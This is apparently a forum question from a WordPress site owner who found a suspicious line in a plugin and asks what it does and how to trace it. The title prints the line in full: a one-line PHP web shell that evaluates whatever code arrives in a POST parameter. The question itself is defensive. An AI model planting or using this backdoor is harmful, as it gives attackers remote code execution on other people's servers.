title: Found <?php @eval($_POST['pass']);?> code in wordpress site
body: <p>I found this  code in one of my wordpress plugin site.
  I guess it can be used with malicious intent but what exactly it does and can I find out if it calls some other actions that I should be aware of?</p>